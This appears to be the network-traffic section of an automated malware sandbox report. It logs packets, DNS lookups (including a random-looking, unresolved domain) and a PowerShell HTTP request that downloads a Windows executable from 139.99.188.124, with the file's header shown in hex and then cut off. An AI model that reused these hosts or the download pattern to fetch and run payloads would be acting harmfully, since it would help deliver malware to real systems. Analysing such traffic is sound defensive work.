Dec 23, 2024 08:40:15.794559956 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.794626951 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:15.794676065 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:16.062278986 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:24.129179955 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.129262924 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.129313946 CET	49790	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:24.129519939 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.129606009 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.129647970 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:24.130660057 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.130712986 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.130920887 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:24.135251045 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.135327101 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.135440111 CET	49791	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:24.137048960 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.137135983 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.137188911 CET	49789	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:24.443761110 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.443851948 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.443968058 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:24.444272041 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.444327116 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.444363117 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.444413900 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:24.444431067 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.444566011 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.444631100 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:24.444725037 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:24.444844007 CET	49796	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:37.271658897 CET	49705	80	192.168.2.9	2.22.50.144
Dec 23, 2024 08:40:37.391814947 CET	80	49705	2.22.50.144	192.168.2.9
Dec 23, 2024 08:40:37.392182112 CET	49705	80	192.168.2.9	2.22.50.144
Dec 23, 2024 08:41:00.728019953 CET	49791	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:00.728066921 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:00.728075981 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:00.728084087 CET	49789	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:00.728091002 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:00.728095055 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.253937006 CET	49790	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.253968000 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.253982067 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.253989935 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.254087925 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.254116058 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.254132032 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.254139900 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.254157066 CET	49796	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.254163027 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.832379103 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:06.832415104 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:06.832468987 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:06.859606028 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:06.859636068 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:08.068721056 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:08.087687016 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:08.087718010 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:08.088831902 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:08.088888884 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:08.097007036 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:08.097079992 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:08.176711082 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:08.176747084 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:08.286267042 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:09.287218094 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:09.287245989 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:27.382078886 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:27.382152081 CET	443	49946	104.126.116.105	192.168.2.9
Dec 23, 2024 08:41:27.382201910 CET	49946	443	192.168.2.9	104.126.116.105
Dec 23, 2024 08:41:54.302314997 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:54.302352905 CET	443	49792	172.64.41.3	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:39:50.823118925 CET	49541	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:39:50.960336924 CET	53	49541	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:03.790297031 CET	50968	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:03.790431023 CET	61024	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.132328987 CET	52421	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.132880926 CET	56829	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.269536972 CET	53437	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.269700050 CET	53	52421	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:06.270452976 CET	53	56829	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:06.272583008 CET	53781	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.272943020 CET	60793	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.273351908 CET	56648	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.310759068 CET	49999	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.310908079 CET	50505	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:06.407108068 CET	53	53437	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:06.409781933 CET	53	53781	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:06.410234928 CET	53	56648	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:06.410264015 CET	53	60793	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:06.447922945 CET	53	49999	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:06.448329926 CET	53	50505	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:08.109677076 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.113854885 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.411741018 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.428035021 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.025830984 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.044074059 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.194679976 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.194839001 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.194854021 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.194960117 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.198204994 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.198262930 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.198272943 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.198395014 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.199836969 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.201715946 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.202241898 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.203068972 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.210508108 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.210943937 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.340092897 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.357597113 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.516313076 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.516383886 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.516390085 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.516402960 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.516411066 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.516545057 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.516551018 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.516563892 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.517326117 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.517399073 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.517570972 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.517651081 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.525527954 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.525906086 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.830964088 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.831206083 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.864152908 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.864273071 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:11.051094055 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:11.051224947 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:11.365695000 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:11.370206118 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:11.380979061 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:11.425344944 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:12.329696894 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:12.329802990 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:12.644100904 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:12.656862020 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:12.692712069 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:12.729089022 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:12.729178905 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:12.745500088 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:12.786092997 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:13.042515039 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:13.078751087 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:14.829121113 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:14.829946041 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:14.830877066 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:14.831543922 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:15.143773079 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:15.144536972 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:15.144993067 CET	443	61297	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:15.146269083 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:15.146740913 CET	61297	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:15.147372961 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:15.147633076 CET	443	55113	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:15.148236036 CET	55113	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:19.294516087 CET	57720	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:19.432116985 CET	53	57720	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:36.289005995 CET	62825	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:40:36.426666975 CET	53	62825	1.1.1.1	192.168.2.9
Dec 23, 2024 08:40:36.991337061 CET	138	138	192.168.2.9	192.168.2.255
Dec 23, 2024 08:41:05.100656986 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:05.100799084 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:05.101016998 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:05.101109982 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.115715027 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.115787983 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.116353035 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.116396904 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.185699940 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.190603018 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.190949917 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.218571901 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.254846096 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.254934072 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.429737091 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.429774046 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.429790020 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.429821968 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.429889917 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.429903984 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.430164099 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.430264950 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.430311918 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.442720890 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.792335033 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.794966936 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.794986010 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.795002937 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.800877094 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.800903082 CET	443	55056	172.64.41.3	192.168.2.9
Dec 23, 2024 08:41:06.820183039 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:06.825108051 CET	55056	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:41:15.569257975 CET	59522	53	192.168.2.9	1.1.1.1
Dec 23, 2024 08:41:15.706697941 CET	53	59522	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:39:50.823118925 CET	192.168.2.9	1.1.1.1	0x9a4d	Standard query (0)	tiffany-careers.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:03.790297031 CET	192.168.2.9	1.1.1.1	0x4871	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:03.790431023 CET	192.168.2.9	1.1.1.1	0xc54a	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 23, 2024 08:40:06.132328987 CET	192.168.2.9	1.1.1.1	0x4b93	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.132880926 CET	192.168.2.9	1.1.1.1	0x8584	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 23, 2024 08:40:06.269536972 CET	192.168.2.9	1.1.1.1	0xa4e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.272583008 CET	192.168.2.9	1.1.1.1	0x3928	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 23, 2024 08:40:06.272943020 CET	192.168.2.9	1.1.1.1	0xd7c2	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.273351908 CET	192.168.2.9	1.1.1.1	0x140f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 23, 2024 08:40:06.310759068 CET	192.168.2.9	1.1.1.1	0x8690	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.310908079 CET	192.168.2.9	1.1.1.1	0xb8fa	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 23, 2024 08:40:19.294516087 CET	192.168.2.9	1.1.1.1	0xa3cb	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:36.289005995 CET	192.168.2.9	1.1.1.1	0xdd47	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:15.569257975 CET	192.168.2.9	1.1.1.1	0xed83	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:39:42.099766970 CET	1.1.1.1	192.168.2.9	0x10df	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:39:42.099766970 CET	1.1.1.1	192.168.2.9	0x10df	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:39:50.960336924 CET	1.1.1.1	192.168.2.9	0x9a4d	No error (0)	tiffany-careers.com		147.45.49.155	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:01.779875994 CET	1.1.1.1	192.168.2.9	0xf141	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:40:01.779875994 CET	1.1.1.1	192.168.2.9	0xf141	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:01.953325033 CET	1.1.1.1	192.168.2.9	0xa73c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:40:03.928653955 CET	1.1.1.1	192.168.2.9	0xc54a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:40:03.945538044 CET	1.1.1.1	192.168.2.9	0x4871	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:40:06.269700050 CET	1.1.1.1	192.168.2.9	0x4b93	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:40:06.269700050 CET	1.1.1.1	192.168.2.9	0x4b93	No error (0)	googlehosted.l.googleusercontent.com		172.217.17.65	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.270452976 CET	1.1.1.1	192.168.2.9	0x8584	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 08:40:06.407108068 CET	1.1.1.1	192.168.2.9	0xa4e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.407108068 CET	1.1.1.1	192.168.2.9	0xa4e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.409781933 CET	1.1.1.1	192.168.2.9	0x3928	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 23, 2024 08:40:06.410234928 CET	1.1.1.1	192.168.2.9	0x140f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 23, 2024 08:40:06.410264015 CET	1.1.1.1	192.168.2.9	0xd7c2	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.410264015 CET	1.1.1.1	192.168.2.9	0xd7c2	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.447922945 CET	1.1.1.1	192.168.2.9	0x8690	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.447922945 CET	1.1.1.1	192.168.2.9	0x8690	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:06.448329926 CET	1.1.1.1	192.168.2.9	0xb8fa	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 23, 2024 08:40:19.432116985 CET	1.1.1.1	192.168.2.9	0xa3cb	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:40:36.426666975 CET	1.1.1.1	192.168.2.9	0xdd47	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:03.658572912 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:03.658572912 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:04.658006907 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:04.658006907 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:05.680377960 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:05.680377960 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:07.695518970 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:07.695518970 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:11.689193964 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:11.689193964 CET	1.1.1.1	192.168.2.9	0x488d	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:41:15.706697941 CET	1.1.1.1	192.168.2.9	0xed83	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tiffany-careers.com

chrome.cloudflare-dns.com

clients2.googleusercontent.com

139.99.188.124

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49780	139.99.188.124	80	7680	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:40:06.729788065 CET	164	OUT	GET /kiiMf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 139.99.188.124 Connection: Keep-Alive
Dec 23, 2024 08:40:08.231071949 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:40:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sun, 15 Dec 2024 10:29:42 GMT ETag: "da2a8-6294c8abc9816" Accept-Ranges: bytes Content-Length: 893608 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sDRRRCPS_@a_@_@g[j[[jwR+r*S_@SRPSRichRPEL_pZ"@@@@\|Ppq; [@.text `.rdata@@.datatR@.rsrcP<@@.relocqpr@B
